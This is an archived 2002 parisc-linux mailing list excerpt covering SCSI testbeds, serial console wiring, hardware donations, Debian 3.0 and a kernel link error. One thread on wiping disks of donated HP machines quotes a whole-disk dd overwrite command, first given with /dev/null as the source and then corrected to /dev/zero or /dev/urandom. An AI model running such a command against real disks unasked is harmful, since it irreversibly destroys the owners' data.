compatible SCSI (SE or differential, etc).  Adding a SCSI adapter is not
always an option as PA-RISC Linux doesn't drive HP-PB cards.

B is more effort to get the environment setup but may result in a simpler
process.  It still suffers from the lack of accessibility for anything
connected to HP-PB for instance.

C is more physical work but should probably always work.  A testbed unit
choice might be an older workstation with both differential and SE SCSI
connectors.  There would be the physical hassle of getting different
connector types hooked up but that is solved with various (custom) cables.

Hope this helps!

Kevin


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i dont know jack
Date: Thu, 25 Jul 2002 13:54:48 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <3D406598.B862D0EC@storm.ca>
References: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com> <3D40275B.55D3B7C7@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621569 11486 80.91.229.3 (22 Nov 2014 01:59:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:29 +0000 (UTC)
Cc: parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 12:06:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.storm.ca (mail.storm.ca [209.87.239.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9329E482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 12:06:52 -0600 (MDT)
Original-Received: from storm.ca (ppp-209-87-255-11.ottawa.storm.ca [209.87.255.11])
	by mail.storm.ca (8.11.6+Sun/8.11.6) with ESMTP id g6PI6pT11704
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 14:06:51 -0400 (EDT)
X-Mailer: Mozilla 4.79 [en] (Win98; U)
X-Accept-Language: en,fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15652

Juergen Braukmann wrote:

> Hi Rick, there probably is. Boot into some nini root environment and
> type:
> 
> dd if=/dev/null of=/dev/sda [assuming THE drive is sda]
> 
> this will overwrite the intire disk with zero bytes (or was /dev/zero
> the proper device for that??).

/dev/zero gives a stream of null bytes.

Don't use /dev/null; it returns EOF on all reads, or did when I learned
the rules on older Unix and I suspect that still true.

> Atlernetivly, /dev/random might be a good source of rubbish data. ;-)

Not /dev/random. It was designed to produce high-grade random numbers
for critical applications like generating PGP keys. It blocks if you
try to take out more random data than it has input entropy.

/dev/urandom does not block, so you could use that.

It would likely be better to use a little program that just seeds itself
from /dev/urandom and then cranks out lots of psuedo-random crud
quickly.
The FreeS/WAN libraries include source you could use:
http://www.freeswan.org/freeswan_snaps/CURRENT-SNAP/doc/manpage.d/ipsec_prng.3.html
 
> there is the bs= parameter as well (block size). You probably need to
> experiment a bit with that, I tried to copy a 20GB disk via dd and it
> was dead slow, but I used 8KB as bs. I'd now start with a value of 4-8
> MB.

Yes, use a large block size.

How thorough do you need to be? At one extreme, just trashing the
partition table or superbloack may be all you need. At the other,
you may need to do a fair bit of programming.

The classic paper on secure deletion is:
http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html

I once read a US gov't standard for overwriting disks with
non-classified
data on them. (For classified data, you destroy the disk.) It wanted a
minimum of three overwrites, all-0s, all-1s and random data.

The hard part was that you had to guarantee to do that everywhere,
including
blocks the OS or drive had marked bad, things outside partitions that
the OS
couldn't see, ...

A handy loop for cheap but fairly thorough deletions is:

for( i = u = 0 ; i < 4 ; i++, u += 0x55555555 )

This walks each nybble of u through the values 0000, 0101, 1010, 1111 so
you gat the US gov'ts all-0s and all-1s plus a couple of others.


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: e45 as a diskless server
Date: Thu, 25 Jul 2002 20:56:51 +0200
Organization: private
Lines: 56
Approved: news@gmane.org
Message-ID: <3D4049F3.A53BC4BA@gmx.at>
References: <Pine.LNX.4.44.0207251931310.2635-100000@kone.ihanaa.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621569 11488 80.91.229.3 (22 Nov 2014 01:59:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:29 +0000 (UTC)
To: Jussi =?iso-8859-1?Q?M=E4ki?= <valen@ihanaa.org>,
	parisc-linux@lists.parisc-linux.org <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 12:57:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18D3F482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 12:57:01 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020725185659.ICOA1259.viefep15-int.chello.at@gmx.at>;
          Thu, 25 Jul 2002 20:56:59 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15653

Have you checked, that the E45 may have (my E55 definitively has) a
"wrong" pin out. It look to be the opposite pin assignment like a
modem, but further studies have shown, that it is non-standard.

I have soldered 8x adapters from 25-female to 25-female but with
the SUN compatible pin out ! This is the same as on the PC (25pin)
but female instead of male !

The following wirering is necessary to have a PC or SUN compatible
connector:
MUX side      PC/SUN like connector
	3.......2 
	2.......3 
	8.......4 
	22......5 
	20......6 
	7.......7 
	4.......8 
	6.......20 
	9.......22 

So you can use a simple NULL-Modem cable to connect the PC to the
PC/SUN compatible MUX connector.

For simple serial console you can use following:
	Only use pins 2,3 and 7, where 2=RX, 3=TX and 7=GND !
If you use NOT a UNIX-like system on the PC the bridge CTS and RTS
pins on the PC side.

On my E55 only port 0 (first connector) is used for the serial console.

With friendly regards
Christoph P.


Jussi Mki wrote:
> 
> > Hello, I am back from vacation.
> >
> > In the moment, I have no valid kernel image (lifimage), as I hack
> > around with the E55 device findings. But if it not a problem for
> > you to have very much output in the kernel booting, you can use it !
> > (To say it again: The image is really original and good, it only
> > generates many lines of output while detecting the devices !!!).
> 
> I've had problems connecting the E45 console to my pc, currently i've only
> managed to use it with the 700/96 HP console, i'll look into that today.
> 
> I'll mail you the boot output if/when i get it working.

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i dont know jack
Date: 25 Jul 2002 23:57:55 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <1027637875.11669.19.camel@irongate.swansea.linux.org.uk>
References: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621569 11489 80.91.229.3 (22 Nov 2014 01:59:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rick Vernam <rickvernam@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 15:44:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id D34D1482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 15:44:23 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g6PMwBu6011735;
	Thu, 25 Jul 2002 23:58:27 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g6PMvuo2011733;
	Thu, 25 Jul 2002 23:57:56 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15654

On Thu, 2002-07-25 at 16:43, Rick Vernam wrote:
> i work at place that gets tons of computer junk from companies that are getting rid of their equip.  one of our requirements is to kill the partitions on the HDs ( it is known that will no completely remove data, just make is a little more difficult to get too ).  so we are getting HP machines with pa-risc stuff and most wont boot ( i know enough to know how to initiate a boot ).  is there some way, using this parisc-linux that i can quickly kill partitions?
> 

Well one silly way to do it would be to simply install Linux on the
machines telling it to use the whole of the disks. At that point you can
put "tested" on the disks 8) and "Free Debian Linux" on the marketing 8)



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i dont know jack
Date: Thu, 25 Jul 2002 17:41:57 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <3D407EB5.7030409@earthlink.net>
References: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com> <1027637875.11669.19.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621570 11666 80.91.229.3 (22 Nov 2014 01:59:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:30 +0000 (UTC)
Cc: Rick Vernam <rickvernam@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 16:40:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from scaup.mail.pas.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4989482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 16:40:53 -0600 (MDT)
Original-Received: from user-1121bhn.dsl.mindspring.com ([66.32.174.55] helo=cactus.bheadley.org)
	by scaup.mail.pas.earthlink.net with esmtp (Exim 3.33 #1)
	id 17XrHU-0007EW-00; Thu, 25 Jul 2002 15:40:24 -0700
Original-Received: from localhost.localdomain
	([127.0.0.1] helo=earthlink.net ident=bheadley)
	by cactus.bheadley.org with esmtp (Exim 3.35 #1 (Debian))
	id 17XrIz-0003Y3-00; Thu, 25 Jul 2002 17:41:57 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15655

Alan Cox wrote:
> On Thu, 2002-07-25 at 16:43, Rick Vernam wrote:
> 
>>i work at place that gets tons of computer junk from companies that are getting rid of their equip.  one of our requirements is to kill the partitions on the HDs ( it is known that will no completely remove data, just make is a little more difficult to get too ).  so we are getting HP machines with pa-risc stuff and most wont boot ( i know enough to know how to initiate a boot ).  is there some way, using this parisc-linux that i can quickly kill partitions?
>>
> 
> 
> Well one silly way to do it would be to simply install Linux on the
> machines telling it to use the whole of the disks. At that point you can
> put "tested" on the disks 8) and "Free Debian Linux" on the marketing 8)

What, silly? Our admins used to prep Solaris workstations that way. Real 
inexpensive way to differentiate your products ("our Pengiuns pre-hatched")


-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Linux machines?
Date: Fri, 26 Jul 2002 13:29:03 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20020726132900.L897@neep.com.au>
References: <20020721150611.GA16503@maddentechnologies.com> <3D3AE9AE.189C701E@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621570 11752 80.91.229.3 (22 Nov 2014 01:59:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 23:30:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (108.telstra.ppp.reynolds.net.au [203.38.119.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D0D2482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 23:30:27 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA16330
	for parisc-linux@lists.parisc-linux.org; Fri, 26 Jul 2002 13:29:06 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3D3AE9AE.189C701E@ruhr-west.de>; from juergen.braukmann@ruhr-west.de on Sun, Jul 21, 2002 at 07:04:46PM +0200
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15656

Juergen Braukmann said:
> Michael Madden schrieb:
> > Hello;
> > 
> > I was wondering if anyone out there needs older PA-RISC machines to use on
> > PA-RISC Linux and the Debian 3.0 port to PA-RISC.  I have many 735
> > workstations, a few 725/715 workstations, and a few C110 workstations.
> > 
> > Right now, they are all collecting dust.  I'd be willing to donate the
> > machines to someone who will put them to use on the PA-RISC Linux
> > or Debian 3.0 project.
> > 
> > Thanks,
> > 
> > Michael Madden

Michael,

I'm sure you'll get some interest from people; maybe try a non-spammy
offer in the debian-hppa mailing list.  Some more info you could include
would be what part of the world you live in, and whether you have the
means to ship the boxes or if interested parties need to arrange removal
themselves (ie visit you!).

> Hi Michael,
> 
> see http://www.openpa.net (particulary
> http://www.openpa.net/about.html). Paul seems to have an interest in
> that. I could do with some C110 memory, but it's nbot worth to strip
> a working box for that.
> 
> Juergen

Thanks Juergen, I wasn't aware of this site's existence.  I don't think
there's a link to it on the parisc-linux.org web site; is this something
we could do?  Under the "User Resources" section of the sidebar would be
a suitable place, I imagine.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian 3.0 announcement for the website?
Followup-To: gmane.linux.ports.hppa
Date: Fri, 26 Jul 2002 13:38:32 +0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20020726133826.R30681@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621570 11761 80.91.229.3 (22 Nov 2014 01:59:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:30 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 23:39:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (108.telstra.ppp.reynolds.net.au [203.38.119.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BD14482B
	for <parisc-linux@parisc-linux.org>; Thu, 25 Jul 2002 23:39:42 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id NAA16455
	for parisc-linux@parisc-linux.org; Fri, 26 Jul 2002 13:38:38 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15657

Also regarding the website - well, Debian 3.0 has been released.  Is 
that worthy of an announcement?  I haven't seen any Debian CD mirrors
with hppa ISOs, but can Debian 3.0/hppa CDs be built with jigdo?

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian 3.0 announcement for the website?
Date: Fri, 26 Jul 2002 08:47:29 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20020726064729.GA12382@charite.de>
References: <20020726133826.R30681@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621571 11762 80.91.229.3 (22 Nov 2014 01:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:31 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 00:47:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C22B482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jul 2002 00:47:31 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 8981415C019
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jul 2002 08:47:29 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 6A2E1633B3; Fri, 26 Jul 2002 08:47:29 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020726133826.R30681@neep.com.au>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15658

On Fri, Jul 26, 2002 at 01:38:32PM +0800, Andrew Shugg wrote:

> Also regarding the website - well, Debian 3.0 has been released.  Is 
> that worthy of an announcement?  I haven't seen any Debian CD mirrors
> with hppa ISOs, but can Debian 3.0/hppa CDs be built with jigdo?

IMHO this is possible.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Fear leads to anger.  Anger leads to hate.  Hate leads to using
Windows NT for mission-critical applications.



From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unable to compile kernel
Date: Fri, 26 Jul 2002 13:39:09 +0300
Lines: 20
Approved: news@gmane.org
Message-ID: <20020726103647.7F636482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621571 11766 80.91.229.3 (22 Nov 2014 01:59:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 26 04:36:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 7F636482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 26 Jul 2002 04:36:47 -0600 (MDT)
Original-Received: (qmail 2578 invoked from network); 26 Jul 2002 10:39:09 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 26 Jul 2002 10:39:09 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15659

Hello,
`gcc -print-libgcc-file-name` /usr/src/linux/arch/parisc/lib/lib.a
/usr/src/linux/lib/lib.a  \
        --end-group \
        -o vmlinux
drivers/video/video.o: In function `.L1581':
drivers/video/video.o(.init.text 0x23e8): undefined reference to
`fbcon_sti'
drivers/video/video.o: In function `.L1639':
drivers/video/video.o(.init.text 0x25d0): undefined reference to
`fbcon_sti'
make: *** [vmlinux] Error 1
I got this message when compiling 2.4.18-pa56 na pa58
2.4.18-pa54 was compiled without errors

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------


From - Thu Nov 08 21:23:56 2018
X-Mozilla-Status: 0011
